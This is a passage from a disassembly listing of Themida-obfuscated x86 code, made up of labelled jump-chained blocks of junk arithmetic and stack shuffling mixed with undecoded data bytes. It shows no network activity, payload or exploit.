		not	esi
		push	ecx
		push	esi
		pop	ecx
		jmp	loc_546E60
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 87000000h, 0E95C240Ch, 0FFFFBF48h, 8B66C828h, 0C483240Ch
		dd 467E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_554F1A:				; CODE XREF: Themida_:0054EE49j
		add	esp, 4
		add	bl, al
		jmp	loc_547D4C
; ---------------------------------------------------------------------------
		db 0B8h
		dd 31210D63h, 5A200335h, 0E9C52976h, 0FFFEEBB1h, 0BD665566h
		dd 83E945EAh
		db 44h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554F43:				; CODE XREF: Themida_:0054CE1Aj
		mov	edi, ebx
		pop	ebx
		jmp	loc_554B4B
; ---------------------------------------------------------------------------

loc_554F4B:				; CODE XREF: Themida_:0054A570j
		mov	edi, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	ebp
		push	4
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_555DFD
; ---------------------------------------------------------------------------
		db 66h
		dd 0B1240C89h, 9A78E942h, 0E952FFFFh, 0FFFFEC4Bh, 0F0005BEh
		dd 0C4DE901h, 81660000h, 66764AEBh, 0A9E9D329h,	51FFFF49h
		dd 0CA88BEB1h, 0E9240C8Bh, 0FFFFA7A5h, 4C481h, 0C3290000h
		dd 8324048Bh, 0EB0104C4h, 33EC381h, 0D4E9460Ah,	0B600001Ah
		dd 7EEC0A6h, 0FFB953E9h, 0C1815DFFh, 121D02DCh,	57C0BA52h
		dd 0EAC1707Eh, 0D2F74202h, 0D9E9DAF7h, 83FFFF12h, 69E904C4h
		dd 8100000Dh, 4C1h, 4C18100h, 87000000h, 38E9240Ch, 0BBFFFF4Fh
		dd 496161C2h, 0E95BD829h, 0FFFF4C18h, 593E712Dh, 1E3E934h
		dd 34870000h, 24248B24h, 4D2C68h, 2579E900h, 1C33FFFFh
		dd 0C83B5C24h, 0E26DE99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_55502E:				; CODE XREF: Themida_:00555F52j
		push	edi
		jmp	loc_552CC9
; ---------------------------------------------------------------------------
		dd 41D7EA81h, 5642615Ch, 0FC099DBEh, 5EF231D4h,	8904EC83h
		dd 0D0892404h, 0C1895157h, 98E9CF89h, 8BFFFFCFh, 8B662424h
		dd 0EC832404h, 241C8904h, 0E9E68956h, 0FFFF6601h
; ---------------------------------------------------------------------------

loc_55506C:				; CODE XREF: Themida_:00544D7Dj
					; Themida_:loc_552127j
		push	5B45h
		mov	[esp], ebx
		push	6C6Fh
		mov	[esp], ebp
		push	esi
		mov	esi, 7B2461B6h
		push	97Fh
		mov	[esp], edi
		push	eax
		mov	eax, esi
		mov	edi, eax
		pop	eax
		sub	esp, 4
		jmp	loc_54DE3F
; ---------------------------------------------------------------------------
		db 81h
		dd 0AD0263F5h, 0BBE5642h, 8174765Fh, 0AA2549CEh, 0C6814648h
		dd 7A805E44h, 0F6AAF681h, 0F501D2E1h, 0A5E9575Eh
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5550C3:				; CODE XREF: Themida_:005439BAj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	217Dh
		mov	[esp], ecx
		jmp	loc_54C756
; ---------------------------------------------------------------------------

loc_5550DD:				; CODE XREF: Themida_:00549701j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 3B644791h
		push	edi
		push	ebx
		jmp	loc_54CE15
; ---------------------------------------------------------------------------
		dd 5D85EB81h, 34FF04B9h, 89575824h, 4C781E7h, 81000000h
		dd 4C7h, 243C8700h, 0E9555Ch
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_555113:				; CODE XREF: Themida_:0054B74Bj
		mov	esi, 0BAC2071Ch
		add	esi, edx
		pop	edx
		push	ecx
		mov	ecx, 2CBC41E6h
		xor	esi, ecx
		jmp	loc_55116E
; ---------------------------------------------------------------------------

loc_555128:				; CODE XREF: Themida_:005543B5j
		pop	esi
		xor	edx, 1BDA61BBh
		push	edx
		add	dword ptr [esp], 2FF01F99h
		mov	ebx, [esp]
		jmp	loc_54F348
; ---------------------------------------------------------------------------
		db 89h
		dd 0CB895AD1h, 3D30159h, 652AE903h, 505AFFFFh, 1D4B6AB8h
		dd 3938E91Ah, 0E589FFFFh, 4C581h, 0C5810000h, 4, 0FF2244E9h
		dd 9DBB53FFh, 4369F752h, 0E906E3C1h, 0FFFF411Dh
; ---------------------------------------------------------------------------

loc_55517C:				; CODE XREF: Themida_:0054BC88j
		add	ebp, 0FFE7FBFEh
		mov	edi, ebp
		pop	ebp
		jmp	loc_55533B
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 2FC7BD24h, 39BF070Eh, 2915BB42h, 3F9CE9EFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55519E:				; CODE XREF: Themida_:00555E94j
		mov	esp, [esp]
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		push	3590h
		mov	[esp], ebp
		push	14C9h
		mov	[esp], edi
		push	72E948D4h
		jmp	loc_54AB9B
; ---------------------------------------------------------------------------
		dd offset dword_450050+0F518h
		align 2
		dw 2C89h
		dd 0ABBB5324h, 0BD0CEC45h, 0F313BA59h, 575BDD01h, 0DC5F05BFh
		dd 6EFC15Fh, 0FF6FE7E9h, 4EC680FFh, 0FF5712E9h,	4C483FFh
		dd 0FF9805E9h, 0E88359FFh, 74FF5004h, 48B0424h,	0E2895224h
		dd 0FEEFD8E9h, 0EC815BFFh, 4, 0BE243489h, 617631C2h, 685EF029h
		dd 4E1Ah, 0E9240C89h, 0FFFFFC3Bh, 1C8BB92Ch, 0E6895624h
		dd 4C681h, 0C6810000h, 4, 5C243487h, 34FF6A2Ch,	0C4815A24h
		dd 4, 1B5868h, 24148900h, 0F680ACB6h, 894E9B1h,	0B60F0000h
		dd 8734FFC0h, 85968h, 2B4FE900h, 4810000h, 424h, 0EF86E900h
		db 0FEh, 0FFh
word_55527A	dw 55ADh		; DATA XREF: Themida_:00543078o
		dd 0FF6761E9h, 0BFBD55FFh, 0C128594Eh, 0ED8103EDh, 8057419h
		dd 81DDF74Dh, 78CF71F5h, 5DE831DCh, 0D66B2E05h,	0E9D82905h
		dd 0FFFFD181h
; ---------------------------------------------------------------------------

loc_5552A8:				; CODE XREF: Themida_:0054EBF0j
		push	745Ah
		jmp	loc_54D40E
; ---------------------------------------------------------------------------
		dw 487h
		dd 87D0F724h, 815A2404h, 77CAB6EAh, 5AD30100h, 8B241C87h
		dd 0FF662424h, 0E99C240Ch, 0FFFEDFC7h
; ---------------------------------------------------------------------------

loc_5552D4:				; CODE XREF: Themida_:0054B626j
		pop	eax
		push	ebx
		push	ebp
		push	4
		pop	ebp
		mov	ebx, ebp
		pop	ebp
		add	eax, ebx
		pop	ebx
		push	1C74h
		mov	[esp], ebx
		jmp	loc_54F26E
; ---------------------------------------------------------------------------

loc_5552F0:				; CODE XREF: Themida_:005509CDj
		pop	ebx
		and	ebx, 296D3B54h
		jmp	loc_54FF55
; ---------------------------------------------------------------------------

loc_5552FC:				; CODE XREF: Themida_:00549E5Cj
		mov	ecx, 3E5D5255h
		jmp	loc_54F8E2
; ---------------------------------------------------------------------------
		dw 0DA01h
		dd 0FF46C3E9h, 5FDEB8FFh, 0C68940AEh, 0FF322AE9h, 7E9C1FFh
		dd 0ECCBC181h, 0CF89717Bh, 0D5E78159h, 8122BC6Bh, 0BFF3D7EFh
		dd 5FFB2912h, 0DE9C301h
		db 24h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55533B:				; CODE XREF: Themida_:00555185j
		mov	ebx, edi
		pop	edi
		push	ebx
		push	edi
		mov	edi, 5C461F58h
		add	dword ptr [esp+4], 7E6E64B3h
		sub	[esp+4], edi
		sub	dword ptr [esp+4], 7E6E64B3h
		pop	edi
		pop	esi
		add	esi, 5C461F58h
		jmp	loc_5565A1
; ---------------------------------------------------------------------------
		dw 4C01h
		dd 5D590424h, 5554ED81h, 148B2B63h, 4C48124h, 52000000h
		dd 0FFF67FE9h, 4D800FFh, 51DA2CF7h, 0DDF6B9B5h,	0C4ED80h
		dd 5A6859E8h, 0E9000008h, 0FFFFDA5Ah, 241C875Fh, 71AE95Ch
		db 2 dup(0FFh)
word_5553A6	dw 8B66h		; DATA XREF: Themida_:00543088o
		dd 0EC832404h, 0FEAE904h, 0F5810000h, 0D97DC139h, 815DEE31h
		dd 0A7F07C6h, 8BF229F8h, 0C4832434h, 0E9D52104h, 0FFFEF911h
		dd 5B2434FFh, 4C481h, 14680000h, 89000036h, 0E3E92414h
		dd 0BDFFFF76h, 0B59ED914h, 15DE931h, 240C8BCFh,	0ABEE9h
		db 0
; ---------------------------------------------------------------------------

loc_5553F9:				; CODE XREF: Themida_:0054C4A5j
		add	ecx, edx
		mov	edx, [esp]
		jmp	loc_54E3D1
; ---------------------------------------------------------------------------
		db 81h
		dd 0ED3D06C6h, 47ED816Bh, 14DC357h, 47C581F5h, 8B4DC357h
		dd 0F6E92434h, 66FFFF0Ah, 5024048Bh, 0FF6691E9h, 53E9BAFFh
		dd 0D00963E3h, 2B892D5Ah, 0CE0518F0h, 1058505h,	23C1E9C2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555442:				; CODE XREF: Themida_:0054D801j
		sub	esi, 2EF41C0h
		not	esi
		xor	esi, 3E5B217Bh
		add	edi, esi
		pop	esi
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	edx
		push	esi
		mov	esi, 0AD038BCh
		mov	edx, esi
		pop	esi
		mov	edi, 0AD048BCh
		add	edi, 15F449DFh
		sub	edi, edx
		jmp	loc_54E57E
; ---------------------------------------------------------------------------

loc_55547B:				; CODE XREF: Themida_:00555D26j
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		jmp	loc_551C12
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0FF1545E9h, 4AE954FFh
		db 2Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55549F:				; CODE XREF: Themida_:00545E6Bj
		pop	eax
		push	2087h
		mov	[esp], eax
		push	esp
		pop	eax
		push	ebx
		mov	ebx, 116D15A3h
		not	ebx
		inc	ebx
		xor	ebx, 77086C72h
		not	ebx
		add	ebx, 0FFFFFFFFh
		jmp	loc_54352F
; ---------------------------------------------------------------------------
byte_5554C3	db 0FFh			; DATA XREF: Themida_:0054300Co
		dd 34FF2434h, 0C4815924h, 4, 81E18951h,	4C1h, 4E98100h
		dd 0E9000000h, 0FFFF8AF3h, 4E04C483h, 0F681DEF7h, 9C5135A1h
		dd 0BFE9F189h, 8100001Ch, 4ECh,	242C8900h, 0E957E589h
		dd 0FFFFE358h, 6FB2BA52h, 66E93856h, 1FFFFA4h, 24148BD6h
		dd 0FF9944E9h, 4BBFFh, 0DA010000h, 2414875Bh, 4EC815Ch
		dd 0E9000000h, 2AD8h, 8904EC83h, 0E189240Ch, 5F9268h, 24348900h
		dd 0F31F4FBEh, 6EEC167h, 0C681DEF7h, 29230CD8h,	0D7D7BA52h
		dd 0D6292068h, 2F5AE95Ah, 0FD01FFFFh, 6A67E95Fh, 8951FFFFh
		dd 59CB89D1h, 65B9515Ah, 19502DCh, 5BE959CBh, 81FFFFAAh
		dd 0CF374DE9h, 1100E9AEh, 2C89FFFFh, 0A68AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555592:				; CODE XREF: Themida_:00546D6Aj
		sub	esp, 2
		mov	[esp], cx
		mov	ch, 49h
		sub	al, ch
		pop	cx
		sub	al, 30h
		mov	edx, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		push	49B5h
		mov	[esp], ecx
		push	esi
		mov	esi, 20B22898h
		shr	esi, 8
		jmp	loc_5547F6
; ---------------------------------------------------------------------------

loc_5555C0:				; CODE XREF: Themida_:0054DCA6j
		pop	esi
		sub	esp, 4
		jmp	loc_54375A
; ---------------------------------------------------------------------------
		dd 0BA241489h, 531C3D4Ah, 6012C281h, 0E2814CD0h, 1DFC5118h
		dd 6814C281h, 0EA8105DBh, 4E066D87h, 0C281DAF7h, 0D5C10BA9h
		dd 34FFD001h, 0C4835A24h, 0BE565304h, 686D5B09h, 0D15EF389h
		dd 10F381E3h, 5D0DAB6h,	6B9D732Bh, 2B2DD801h, 5B6B9D73h
		dd 31240433h, 4332404h,	0D3665C24h, 0E99C2424h,	0FFFEDC6Bh
		dd 0EBED8145h, 55E45B66h, 81B0E959h, 0E95CFFFFh, 0FFFFFDDBh
; ---------------------------------------------------------------------------

loc_555644:				; CODE XREF: Themida_:0054BAB5j
		pop	eax
		jmp	loc_54FEBE
; ---------------------------------------------------------------------------

loc_55564A:				; CODE XREF: Themida_:0054B740j
		push	756Eh
		mov	[esp], ebx
		jmp	loc_55426E
; ---------------------------------------------------------------------------

loc_555657:				; CODE XREF: Themida_:00551764j
		pop	edi
		add	edx, ebp
		pop	ebp
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_54D98F
; ---------------------------------------------------------------------------
		dw 0F756h
		dd 815E2414h, 6FF7D5C6h, 2B0AE919h, 815AFFFFh, 5257B8C3h
		dd 0C36AE915h, 0F6B2FFFFh, 0D03001B0h, 16B6525Ah, 0E9BBEE80h
		dd 0FFFF41AFh
; ---------------------------------------------------------------------------

loc_555694:				; CODE XREF: Themida_:0054C2A8j
		mov	esi, 1F347C23h
		or	edi, esi
		pop	esi
		push	eax
		mov	eax, 1273EC86h
		jmp	loc_54EB8F
; ---------------------------------------------------------------------------
		db 80h
		dd 0E300D6EBh, 8BD6C380h, 0EC812404h, 4, 0FFAB4AE9h, 243489FFh
		dd 0FFC2ADE9h, 348435FFh, 0C7897041h, 28B95158h, 165F664h
		dd 240C8BCFh, 8104C483h, 406246EFh, 31C7812Eh, 29372C3Eh
		dd 12BCE9CFh, 0B8500000h, 758B1DBDh, 3B5EDF0Dh,	3AFB2D17h
		dd 0ABE958D8h, 81FFFF08h, 0C7F9C5C5h, 5DEB89BCh, 0E95FFB29h
		dd 0FFFF41A9h
; ---------------------------------------------------------------------------

loc_555714:				; CODE XREF: Themida_:00552EAFj
		and	ebp, 44F86A31h
		jmp	loc_544709
; ---------------------------------------------------------------------------
		db 89h
		dd 4BE2434h, 1000000h, 0C5DBE9F3h, 555CFFFFh, 65B68h, 24248900h
		dd 4240483h, 53B9515Dh,	8163B32Ah, 0E81742F1h, 81D9F778h
		dd 0DE77D2C1h, 0FF98E92Dh, 2C89FFFFh, 22C66824h, 3C890000h
		dd 3686624h, 665F665Eh,	0E907E7C1h, 876h, 2B9h,	0E9CB0100h
		dd 0FFFFCA8Ch, 72E1BE56h, 0CCE91B73h, 5BFFFF9Dh, 0FF3D1FE9h
		dd 0E9CA89FFh, 0FFFF6105h
; ---------------------------------------------------------------------------

loc_555794:				; CODE XREF: Themida_:0054ED52j
		add	edi, 20242807h
		pop	esi
		shr	edi, 4
		push	ebx
		push	ecx
		mov	ecx, 4424602Fh
		mov	ebx, ecx
		pop	ecx
		sub	ebx, 40E34788h
		dec	ebx
		shl	ebx, 1
		neg	ebx
		push	ebx
		xchg	ebx, [esp]
		jmp	loc_54618D
; ---------------------------------------------------------------------------
		dd 4B951h, 0C8010000h, 24048759h, 5124248Bh, 0FF1013E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5557D1:				; CODE XREF: Themida_:0054D7E9j
		mov	[edx], bh
		pop	edx
		pop	ecx
		pop	ebx
		jmp	loc_54329B
; ---------------------------------------------------------------------------
		db 0FEh
		dd 56E580C5h, 0FE0AF580h, 4ED80C5h, 0E9CCC580h,	1D23h
		dd 0F663E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5557F6:				; CODE XREF: Themida_:0054F16Cj
		add	esp, 4
		add	esp, 4
		add	al, 2Bh
		add	al, bl
		jmp	loc_54C764
; ---------------------------------------------------------------------------

loc_555808:				; CODE XREF: Themida_:0055375Dj
		mov	dl, bl
		pop	ebx
		mov	cl, dl
		jmp	loc_54679F
; ---------------------------------------------------------------------------
		dw 0F229h
		dd 2414875Eh, 48F545Ch,	0DC7FE924h, 48FFFFEh, 34895C24h
		dd 81E68924h, 4ECh, 266E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555836:				; CODE XREF: Themida_:00551203j
		pop	esp
		add	edi, 0FCBC7FD9h
		jmp	loc_5564CC
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 768C331h,	8900005Ch, 8150240Ch, 6B6F2434h, 0E5E95291h
		db 1Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55585F:				; CODE XREF: Themida_:00546C33j
		sub	ebp, eax
		jmp	loc_556B93
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 3B9B7032h, 0E9240C8Bh, 5AAh,	4C181h,	29E90000h, 30FFFF80h
		dd 0A61FE9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555886:				; CODE XREF: Themida_:00550654j
		mov	edi, 38A9455Fh
		xor	edi, 3F0208D6h
		jmp	loc_54D959
; ---------------------------------------------------------------------------

loc_555896:				; CODE XREF: Themida_:00551356j
		mov	ebp, [esp]
		jmp	loc_558340
; ---------------------------------------------------------------------------
		dw 3489h
		dd 4877BE24h, 81566B1Fh, 3DDD242Ch, 0E95F62B8h,	0FFFF556Bh
		dd 3BE95653h, 100000Ch,	0B5E95DE8h
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5558C3:				; CODE XREF: Themida_:0054C401j
		xor	ebp, 3C1C4F80h
		xor	ebp, 8811BD10h
		jmp	loc_5517B3
; ---------------------------------------------------------------------------
		dd 0EB809FB3h, 0D5EB80BAh, 8050E380h, 0D4E9B1F3h
		db 16h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5558E7:				; CODE XREF: Themida_:0054B13Cj
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_54FF24
; ---------------------------------------------------------------------------

loc_5558F6:				; CODE XREF: Themida_:005480BAj
		or	ebp, 15450A2h
		or	ebp, 314139A9h
		xor	ebp, 78905F23h
		jmp	loc_5531D7
; ---------------------------------------------------------------------------

loc_55590D:				; CODE XREF: Themida_:005435F3j
		push	eax
		mov	eax, 1CFB406Bh
		dec	eax
		inc	eax
		not	eax
		jmp	loc_543C2C
; ---------------------------------------------------------------------------
		dd 0EB81F329h, 2AD436A0h, 8324348Bh, 0FF5304C4h, 5B042474h
		dd 5C24048Fh, 24048966h, 0FED95EE9h, 24248BFFh,	0E9028864h
		dd 0FFFFE340h, 223D5AB9h, 2E9C112h, 0F5FBB53h, 80E9603Ch
		dd 0B9000017h, 10E00EC9h, 0FF3574E9h, 5FFE89FFh, 8247429h
		dd 0FFB219E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555971:				; CODE XREF: Themida_:00551346j
		mov	[esp], ebx
		push	edi
		jmp	loc_546CE8
; ---------------------------------------------------------------------------
		dw 8157h
		dd 571D2434h, 0E95A3BAFh, 0FFFEEDE5h, 432268h, 241C8900h
		dd 2BBh, 3AA9E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55599A:				; CODE XREF: Themida_:00544F5Dj
		push	432Bh
		jmp	loc_557773
; ---------------------------------------------------------------------------
		dd 0ED814D59h, 2B2536A2h, 0F0E9EF01h
		db 19h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5559B3:				; CODE XREF: Themida_:005498B8j
		xchg	esi, [esp]
		pop	esp
		xor	edx, ecx
		pop	ecx
		jmp	loc_5537F5
; ---------------------------------------------------------------------------
		db 81h
		dd 0BAE029C1h, 59CE29EAh, 5C243487h, 0BE243489h, 4, 1CF3EF81h
		dd 0F70108FEh, 1CF3C781h, 34FF08FEh, 0B4E95E24h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5559EB:				; CODE XREF: Themida_:005489C7j
		mov	edx, 76C0208Eh
		jmp	loc_54D901
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 89000000h, 24148BD3h, 0E9E28952h, 0FFFF25EDh
; ---------------------------------------------------------------------------

loc_555A08:				; CODE XREF: Themida_:005549E1j
		mov	eax, esp
		jmp	loc_554D5A
; ---------------------------------------------------------------------------

loc_555A0F:				; CODE XREF: Themida_:0054BCB0j
		xor	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_54500D
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0FF2D19E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555A25:				; CODE XREF: Themida_:0054E720j
		xor	eax, ebx
		pop	ebx
		mov	edx, eax
		pop	eax
		pop	edi
		and	eax, edx
		pop	edx
		or	eax, eax
		jnz	loc_5537FB
		mov	edx, 16792FC7h
		add	edx, 277AFFA4h
		push	esi
		jmp	loc_554AC9
; ---------------------------------------------------------------------------

loc_555A48:				; CODE XREF: Themida_:0054BD07j
		mov	[esp], esi
		jmp	loc_54E048
; ---------------------------------------------------------------------------

loc_555A50:				; CODE XREF: Themida_:0054C6EAj
		push	ebx
		push	esp
		jmp	loc_549321
; ---------------------------------------------------------------------------

loc_555A57:				; CODE XREF: Themida_:00555E53j
		sub	esi, edi
		jmp	loc_556D85
; ---------------------------------------------------------------------------
		dw 0E668h
		dd 8B4D3020h, 0C4812414h, 4, 47EEBB53h,	0F381413Ah, 1C815A3Eh
		dd 0E95BDA21h, 0FFFFD7D1h
; ---------------------------------------------------------------------------

loc_555A80:				; CODE XREF: Themida_:00544915j
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_544832
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 0FF19E8E9h, 0BDF181FFh, 0E94E9308h, 0FFFFFCEDh
; ---------------------------------------------------------------------------

loc_555AA0:				; CODE XREF: Themida_:005515B9j
		push	ebp
		mov	ebp, 3B57FC8h
		shl	ebp, 5
		xor	ebp, 44CF5E09h
		add	ebp, 17BD005Eh
		jmp	loc_54ECA0
; ---------------------------------------------------------------------------
		dw 38B9h
		dd 0E9703A77h, 0FFFF7C22h, 5758C631h, 4C695DBFh, 10CF811Ah
		dd 4739D024h, 7A07F781h, 0FE01C320h, 8BF2295Fh,	0C4832434h
		dd 0D7B1E904h, 34FFFFFEh, 5C64E924h, 0EE80FFFFh, 1BA26809h
		dd 1C890000h, 2358E924h, 0E300FFFFh, 51EB2858h,	0E58015B5h
		dd 7763E981h
		db 2 dup(0FFh)
word_555B12	dw 34FFh		; DATA XREF: Themida_:00543044o
		dd 2434FF24h, 19866859h, 2CE90000h
		db 75h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555B23:				; CODE XREF: Themida_:00543975j
		push	esi
		pop	ecx
		pop	esi
		sub	ecx, 66597Bh
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_550894
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 5F24248Bh, 0E95EF229h, 0FFFF125Fh
; ---------------------------------------------------------------------------

loc_555B48:				; CODE XREF: Themida_:00556A27j
		mov	eax, 285C280Ch
		mov	ebx, 1D4869A1h
		xor	ebx, eax
		pop	eax
		jmp	loc_5535A4
; ---------------------------------------------------------------------------

loc_555B5A:				; CODE XREF: Themida_:005537A0j
		pop	eax
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	edx
		jmp	loc_5573E8
; ---------------------------------------------------------------------------
		db 31h,	0E8h, 5Dh
		dd 0DAD3902Dh, 0D8FFE90Fh, 0E95DFFFEh, 1B1Ch, 539DEE80h
		dd 69E9F388h, 81FFFF83h, 51767EC6h, 241C8B56h, 3304C483h
		dd 34312434h, 24343324h, 2404875Ch, 0D6F1E95Ch,	0ECE9FFFEh
		dd 81FFFED6h, 4C2h, 70BF5700h, 555A240Ah, 39CC6853h, 1C8B5A61h
		dd 0E1895124h, 4C181h, 1BE90000h, 89FFFF72h, 0EE95EF2h
		dd 0D1FFFF14h, 0CCCF81EFh, 81626154h, 8B25FDEFh, 0C2F7814Dh
		dd 0C13A8720h, 0EF8104E7h, 0B677111Eh, 875FFB01h, 0EEE9241Ch
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555C03:				; CODE XREF: Themida_:0054F8F2j
		add	esp, 4
		push	dword ptr [edi+1Ch]
		sub	dword ptr [esp], 731028C3h
		jmp	loc_54A05A
; ---------------------------------------------------------------------------
		db 89h,	0EBh, 5Dh
		dd 0FF53D4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555C1D:				; CODE XREF: Themida_:0054E586j
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		and	eax, edi
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		push	4070h
		mov	[esp], ebx
		jmp	loc_55491C
; ---------------------------------------------------------------------------
		dd 8B243C87h, 1C872424h, 24248B24h, 9CC83B66h, 0FED63EE9h
		dd 0E9DDF7FFh, 0FFFFCA7Dh
; ---------------------------------------------------------------------------

loc_555C64:				; CODE XREF: Themida_:00543A68j
		mov	edx, 27A2515Dh
		inc	edx
		add	edx, 0C6C393F6h
		mov	ebx, edx
		jmp	loc_555D01
; ---------------------------------------------------------------------------

loc_555C77:				; CODE XREF: Themida_:00553EE3j
		add	esp, 4
		shr	edx, 1
		shl	edx, 4
		sub	edx, 8BD7C094h
		sub	ecx, edx
		pop	edx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_545921
; ---------------------------------------------------------------------------
		dd 0DFE9F731h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555C9B:				; CODE XREF: Themida_:0055246Cj
		sub	esi, 70152AF8h
		sub	esi, edx
		jmp	loc_543353
; ---------------------------------------------------------------------------
		dd 5345EB87h, 0DD77E955h, 0BF57FFFEh, 65F8268h,	710CC281h
		dd 0ABE92E8Eh
		db 1Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555CC3:				; CODE XREF: Themida_:0054A326j
		mov	esi, edx
		pop	edx
		dec	esi
		push	ebx
		mov	ebx, 0BB3EFC04h
		add	esi, ebx
		pop	ebx
		jmp	loc_54C9FB
; ---------------------------------------------------------------------------

loc_555CD5:				; CODE XREF: Themida_:00547394j
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		push	esi
		jmp	loc_5498E2
; ---------------------------------------------------------------------------
		dd 1010E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555CF2:				; CODE XREF: Themida_:0054FAFBj
		dec	ebx
		dec	ebx
		sub	ebx, 0D4401258h
		mov	edx, ebx
		jmp	loc_545139
; ---------------------------------------------------------------------------

loc_555D01:				; CODE XREF: Themida_:00555C72j
		pop	edx
		add	ecx, ebx
		pop	ebx
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_551608
; ---------------------------------------------------------------------------

loc_555D15:				; CODE XREF: Themida_:0054400Ej
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_55547B
; ---------------------------------------------------------------------------

loc_555D2B:				; CODE XREF: Themida_:0054C1BFj
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	701Bh
		mov	[esp], esi
		push	ebp
		mov	ebp, 6EB715BDh
		mov	esi, ebp
		jmp	loc_551717
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 2DEh, 3FEEF81h, 0C701158Bh, 3FEC781h, 0C781158Bh, 52D903D2h
		dd 49C8E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555D6A:				; CODE XREF: Themida_:0054CF7Cj
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_5498AD
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 0E6895624h, 4BF57h, 0FE010000h, 0FF6B31E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555D89:				; CODE XREF: Themida_:0054997Aj
		add	esi, 4
		jmp	loc_55062D
; ---------------------------------------------------------------------------
		dd 0D8282204h, 66E8B151h, 0E9CAB252h, 0FFFFBCC4h, 6052EB81h
		dd 53523C93h, 161955BBh, 631ABA40h, 0DA013D45h,	5AD3015Bh
		dd 5A2434FFh, 0E904C483h, 0FFFFEECFh, 67F5E181h, 414943A8h
		dd 0FEF071E9h, 1C683FFh, 6AECE681h, 0F6815355h,	2E4ED3D0h
		dd 348BF201h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54DC34
; ---------------------------------------------------------------------------
		db 52h
		dd 0FF8CA7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555DFD:				; CODE XREF: Themida_:00554F66j
		add	ecx, 11A1DDFh
		add	ecx, ebp
		sub	ecx, 11A1DDFh
		pop	ebp
		jmp	loc_556804
; ---------------------------------------------------------------------------
		db 66h,	0B8h, 6Ah
		dd 160D6608h, 0E932E95Bh, 0C483FFFEh, 243C3304h, 0E9243C31h
		dd 0FFFF045Ch
; ---------------------------------------------------------------------------

loc_555E2C:				; CODE XREF: Themida_:00556291j
		xor	ebp, 59157D92h
		add	ebp, 0D03E8AF2h
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	eax, 4
